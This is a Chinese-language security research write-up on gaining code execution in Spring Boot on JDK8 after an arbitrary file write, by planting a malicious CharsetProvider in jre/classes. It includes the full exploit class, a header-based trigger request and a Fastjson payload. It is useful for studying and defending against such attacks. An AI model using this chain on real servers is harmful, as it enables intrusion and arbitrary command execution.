JDK8任意文件写场景下的SpringBoot RCE

0x00 背景

前人栽树,后人砍树,不然怎来薪火相传。有意义的卷,能带来进步!

昨天写完《JDK8任意文件写场景下的Fastjson RCE》后,看到Landgrey大佬的文章再次补充了一下SpringBoot使用Accept头触发charset.jar加载的方式,应该是非常之完美的SpringBoot Fat Jar任意文件写的RCE了。

  • 触发请求头payload
    1
    Accept: text/plain, */*; q=0.01

跟到源码中,可以发现,分号后面的键值对就是可以触发Charset.forName的地方

1
q=0.01

其中,0.01会导致执行

1
Charset.forName("0.01")

但还是那个观点,覆盖写charsets.jar文件,有两个缺点:

  1. 文件太大,mac osx版的jdk8u241下,该文件足足3MB大小
  2. 需要针对目标服务jdk版本准备恶意charsets.jar文件(否则容易影响到正常服务)

这篇文章将根据该思路,探究Charset,提供一种更为稳定的方式,实现RCE。

0x01 JDK8下的Bootstrap和Ext ClassLoader

回顾我的上一篇文章《JDK8任意文件写场景下的Fastjson RCE》,根据类的双亲委派模型,类的加载顺序会先从Bootstrap ClassLoader的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。

Bootstrap ClassLoader(sun.boot.class.path):

1
2
3
4
5
6
7
8
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/resources.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/rt.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/sunrsasign.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jsse.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jce.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/charsets.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jfr.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes
1
sun.boot.class.path

是一个配置变量,通过执行

1
System.getProperty("sun.boot.class.path")

可以获取到以上路径列表,该列表即为Bootstrap ClassLoader加载类时,文件的读取路径。

只要在jre/classes目录中写入class和SPI文件,即可在Class.forName的执行中加载到写入的class。

0x02 Charset.forName的原理

跟进Charset.forName的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static Charset forName(String charsetName) {
Charset cs = lookup(charsetName);
if (cs != null)
return cs;
throw new UnsupportedCharsetException(charsetName);
}
private static Charset lookup(String charsetName) {
if (charsetName == null)
throw new IllegalArgumentException("Null charset name");
Object[] a;
if ((a = cache1) != null && charsetName.equals(a[0]))
return (Charset)a[1];
// We expect most programs to use one Charset repeatedly.
// We convey a hint to this effect to the VM by putting the
// level 1 cache miss code in a separate method.
return lookup2(charsetName);
}
private static Charset lookup2(String charsetName) {
Object[] a;
if ((a = cache2) != null && charsetName.equals(a[0])) {
cache2 = cache1;
cache1 = a;
return (Charset)a[1];
}
Charset cs;
if ((cs = standardProvider.charsetForName(charsetName)) != null ||
(cs = lookupExtendedCharset(charsetName)) != null ||
(cs = lookupViaProviders(charsetName)) != null)
{
cache(charsetName, cs);
return cs;
}

/* Only need to check the name if we didn't find a charset for it */
checkName(charsetName);
return null;
}

这里有三个加载Charset的方法

1
2
3
standardProvider.charsetForName(charsetName)
lookupExtendedCharset(charsetName)
lookupViaProviders(charsetName)

跟进其代码,可以发现,前两种加载方式,都是已经内置provider的模式,没有利用的价值,而第三种模式,跟进其代码,很明显是一个SPI加载provider的模式

1
2
ClassLoader cl = ClassLoader.getSystemClassLoader();
ServiceLoader<CharsetProvider> sl = ServiceLoader.load(CharsetProvider.class, cl);

那么,其实我们完全可以编写一个继承了java.nio.charset.spi.CharsetProvider类的恶意provider,通过SPI机制,触发其加载并初始化。

这里面有个重点,因为使用到的是系统类加载器,它对应的是Ext ClassLoader,理论上打包成jar包放到jre/lib/ext内,但由于类加载器缓存的机制,需要重启后才能加载到(备选方案),按照上一节所描述的内容,我们需要把恶意provider的class和SPI相对应的文件放到jre/classes内。

0x03 利用SPI机制 - 编写恶意provider

SPI的原理非常简单,就是打包好的jar包内,需要有一个固定的目录META-INF/services,在其内部创建对应类名字的文件,而文件内容即每行一个类名,为文件名所对应类的实现。很抽象,看具体内容。

因为我们需要创建一个java.nio.charset.spi.CharsetProvider的恶意provider,所以,需要创建一个名为java.nio.charset.spi.CharsetProvider的文件

而恶意provider的类名,我定义为Evil,具体类文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;

/**
* @author threedr3am
*/
public class Evil extends java.nio.charset.spi.CharsetProvider {

@Override
public Iterator<Charset> charsets() {
return new HashSet<Charset>().iterator();
}

@Override
public Charset charsetForName(String charsetName) {
//因为Charset会被缓存,导致同样的charsetName只能执行一次,所以,我们可以利用前缀触发,后面的内容不断变化就行了,甚至可以把命令通过charsetName传入
if (charsetName.startsWith("Evil")) {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}
}

编译:

1
javac Evil.class

当前目录:

1
2
3
4
5
.
├── Evil.class
└── META-INF
└── services
└── java.nio.charset.spi.CharsetProvider

但这里有个小缺陷,就是需要分两次上传文件。

0x04 SpringBoot触发RCE

把上一节的Evil.class和SPI文件放到jre/classes目录后,启动一个SpringBoot项目,发送一个请求:

1
curl -X GET "http://127.0.0.1:8080/" -H "Accept: text/html;Charset=Evil"

可以看到,恶意class被加载执行了

Other

  • Fastjson对应的触发方式:
1
{"@type":"java.nio.charset.Charset","val":"Evil"}

参考文章